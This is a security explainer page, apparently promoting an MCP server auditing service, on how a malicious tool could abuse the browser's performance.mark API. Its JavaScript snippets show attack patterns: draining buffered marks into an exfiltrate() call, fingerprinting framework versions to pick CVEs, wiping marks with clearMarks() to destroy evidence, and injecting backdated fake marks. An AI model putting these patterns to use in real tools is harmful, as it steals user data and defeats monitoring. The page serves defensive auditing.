MCP Server Security · Performance APIs · User Timing / performance.mark

MCP server performance.mark and performance.measure security — buffered entry drain, framework version fingerprinting, evidence destruction, and APM timeline contamination

The User Timing Level 3 API (performance.mark() / performance.measure()) is used by React DevTools, Next.js, Vue, Angular, Sentry, Datadog, OpenTelemetry, and every major APM SDK to record execution milestones with structured detail objects. These entries accumulate in the PerformanceEntry buffer for the lifetime of the page. An MCP tool calling performance.getEntriesByType('mark') or observing with buffered: true reads ALL past marks — including those containing user IDs, session identifiers, route history, error messages, and feature flag assignments. Worse, performance.clearMarks() allows a tool to destroy these entries, corrupting APM dashboards and wiping the in-browser timing audit trail without leaving any observable trace.

User Timing API mark sources by framework

Framework / SDKTypical mark name patternsSensitive data in detail
React DevTools (Profiler)⚛ <Component> render, ⚛ <Component> commitComponent name, render duration, commit phase — reveals exact React component tree
Next.js App Routernext-router-change-start, next-hydration, next-render, next-client-cache-requestRoute paths including dynamic segments (/users/[id]), hydration timing, cache hit/miss
Sentry Browser SDKsentry-app-init, sentry-route-change, sentry-measure-*DSN identifier, release version string, environment label, current route
OpenTelemetry / Datadog RUMotel-span-start, dd-rum-perf-mark, trace span namesTrace IDs, span IDs, service name, sampling rate, user context
Angular (Zone.js)Zone:<task>, Zone:invokeTask, NgZone:onStableZone names that encode application module boundaries
Vue DevTools / Nuxtnuxt-link-prefetch, vue:mount, vue:updateComponent names, prefetched route URLs
Application custom marksauth-check-start, checkout-flow-start, user-loadeduserId, orderId, planTier, experimentVariant — whatever the dev passed to detail

Attack 1: Buffered mark drain at MCP tool initialization

When a PerformanceObserver is registered with buffered: true, it immediately fires with all entries that have accumulated in the performance timeline buffer since page load. This means an MCP tool that initializes after the page has been running for any amount of time retroactively reads all historical marks — including application startup marks, authentication flow marks, and any marks emitted before the tool was injected:

// All marks since page load, delivered immediately on first observe() call
const obs = new PerformanceObserver(list => {
  for (const entry of list.getEntries()) {
    // entry.name: mark name set by framework or application
    // entry.startTime: timestamp when mark was set
    // entry.detail: arbitrary object passed by Level 3 API
    exfiltrate({
      name: entry.name,
      time: entry.startTime,
      detail: entry.detail  // Level 3: may contain userId, sessionId, error info
    });
  }
});
obs.observe({ type: 'mark', buffered: true });

// Alternatively, synchronous drain:
const marks = performance.getEntriesByType('mark');
// marks.length may be 200+ on a heavily instrumented SPA

The synchronous variant (performance.getEntriesByType('mark')) delivers a complete snapshot of all marks in the buffer without registering an observer — useful when the tool wants a one-time read without a persistent callback.

Level 3 detail objects. User Timing Level 3 (Chrome 78+, Safari 14.1+, Firefox 101+) adds a detail parameter to performance.mark(name, { detail: ... }). Applications and frameworks use this to attach structured context. A Sentry SDK mark might carry { dsn: '...', release: 'v2.3.1', environment: 'production', user: { id: '123', email: 'user@corp.com' } }. Any MCP tool reading marks sees this full object.

Attack 2: Framework and library version fingerprinting

Different versions of the same framework emit different sets of marks with version-specific name patterns. By reading the complete mark set, an MCP tool constructs a high-confidence version fingerprint without making any network requests:

const marks = performance.getEntriesByType('mark');
const seen = marks.map(m => m.name);

// Next.js version inference from mark names:
// next-router-change-start → Next.js 12 (Pages Router)
// next-client-cache-request → Next.js 13+ (App Router)
// next-rsc-cache-request → Next.js 14+ (React Server Components)

// React version inference:
// '⚛ render' prefix → React 16+ DevTools Profiler
// '⚛ passive-effects' → React 18+ (concurrent mode hooks)

// Angular / Zone.js version inference:
// 'Zone:ZoneTask' → Zone.js 0.10.x
// 'Zone:nativePromise' → Zone.js 0.14+ (native promise integration)

const fingerprint = inferVersions(seen); // {react: '18.x', next: '14.x', zonejs: '0.14.x'}

This fingerprint maps directly to known CVE databases — if the detected framework version has a published security advisory, the attacker now knows a specific exploitation path before the user has taken any action.

Attack 3: Application state reconstruction from mark names

Application developers use performance.mark() to mark business-logic milestones for APM tooling. These marks are visible to any same-origin script including injected MCP tools:

// Marks emitted by a typical SPA during a checkout session:
// "user-authenticated"         → user is logged in
// "cart-loaded"               → shopping session in progress
// "checkout-started"          → high-intent moment
// "payment-method-loaded"     → which payment providers are available
// "address-form-valid"        → user has entered shipping address
// "order-submitted"           → transaction just occurred
// "order-confirmed"           → transaction succeeded

// Combined with Level 3 detail:
performance.mark('user-authenticated', {
  detail: { userId: 'u_8f3k2', plan: 'pro', trialDaysLeft: 7 }
});
// An MCP tool reads: current user, their plan tier, and trial status

The sequence of marks reconstructs the user's complete session state: whether they're logged in, what they're doing, and what stage of a conversion funnel they're in — without any XHR or fetch interception.

Attack 4: evidence destruction via clearMarks()

performance.clearMarks() deletes all entries matching a given name (or all marks if called with no argument) from the buffer. A malicious MCP tool can call this to wipe the performance timeline, corrupting APM dashboards that read marks client-side and destroying any in-browser audit trail:

// Selective destruction — wipe only auth/security-relevant marks:
performance.clearMarks('auth-check-start');
performance.clearMarks('mfa-challenge-issued');
performance.clearMarks('session-validated');

// Wholesale destruction — wipe entire timeline:
performance.clearMarks();        // delete all PerformanceMark entries
performance.clearMeasures();     // delete all PerformanceMeasure entries

// After this call, any APM tool that reads performance.getEntriesByType('mark')
// receives an empty array — as if the authentication flow never happened.

This is an anti-forensic primitive. Combined with other MCP tool capabilities (network exfiltration, DOM mutation), a tool can carry out an attack, exfiltrate the marks as evidence of what was seen, and then clear the buffer — leaving the APM system with no record of the timing signals that would indicate unusual behavior.

clearMarks() is same-origin, not cross-origin. A tool can only clear marks for the current origin. However, most APM SDKs (Datadog RUM, Sentry Browser, New Relic Browser) operate entirely within the same origin, so clearing marks destroys their input data even if their reporting infrastructure is cross-origin.

Attack 5: APM timeline contamination via fake marks

Beyond reading and deleting existing marks, a tool can inject backdated fake marks into the timeline. performance.mark(name, { startTime: pastTimestamp }) inserts an entry with an arbitrary timestamp, causing APM tools that aggregate mark data to see fabricated events:

// Inject a fake 'checkout-error' mark 2 minutes ago
// to pollute A/B test attribution or trigger false alerts:
performance.mark('checkout-error', {
  startTime: performance.now() - 120_000,
  detail: { errorCode: 'PAYMENT_DECLINED', userId: 'u_8f3k2' }
});

// Inject a fake 'user-authenticated' mark to falsely indicate
// a logged-in session before the user has authenticated:
performance.mark('user-authenticated', {
  startTime: 100,
  detail: { userId: 'u_admin', role: 'superuser' }
});

Contaminated marks can cause A/B testing platforms (Optimizely, LaunchDarkly) to misattribute variants, trigger false alerts in APM monitoring, and produce incorrect session replay correlations in tools like FullStory or LogRocket that consume the performance timeline.

SkillAudit findings for performance.mark / performance.measure

CRITICAL
Buffered mark drain with detail exfiltration — PerformanceObserver subscribing to 'mark' with buffered: true that reads entry.detail and sends it over the network. Exfiltrates all structured context objects attached to past marks — including user IDs, session tokens, error data, and business-logic state passed by APM SDKs and application code.
HIGH
performance.clearMarks() evidence destruction — Any call to performance.clearMarks() or performance.clearMeasures() in an MCP tool. Destroys the in-browser performance audit trail, corrupting APM dashboards and preventing forensic reconstruction of the tool's execution timeline.
HIGH
Framework version fingerprinting via mark name enumeration — Reading performance.getEntriesByType('mark') and pattern-matching names against known framework mark patterns to infer React, Next.js, Angular, or Vue versions — enabling targeted CVE exploitation.
MEDIUM
APM timeline contamination via backdated marks — Calling performance.mark(name, { startTime: arbitraryTimestamp }) to inject fake historical events, corrupting A/B test attribution, APM dashboards, and session replay correlation.

Defense

Related: Performance Timeline deep dive · User Timing API security · Long Animation Frames security

Scan your MCP server for User Timing surveillance risks

Paste a GitHub URL. Get a graded security report in 60 seconds.

Run free audit →